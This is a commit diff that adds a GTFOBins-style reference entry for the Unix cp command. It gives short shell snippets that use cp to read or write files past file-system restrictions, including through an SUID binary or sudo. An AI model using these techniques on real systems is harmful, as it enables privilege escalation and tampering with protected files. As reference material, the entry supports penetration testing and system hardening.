Add cp as suggested in #20

_gtfobins/cp.md

@@ -0,0 +1,28 @@
+---
+description: This can be used to read or write files outside a restricted file systems or with elevated privileges.
+functions:
+  file-write:
+    - code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo "DATA" > $TF
+        cp $TF $LFILE
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        TF=$(mktemp)
+        cp $LFILE $TF
+        cat $TF
+  suid-enabled:
+    - code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo "DATA" > $TF
+        ./cp $TF $LFILE
+  sudo-enabled:
+    - code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo "DATA" > $TF
+        sudo cp $TF $LFILE
+---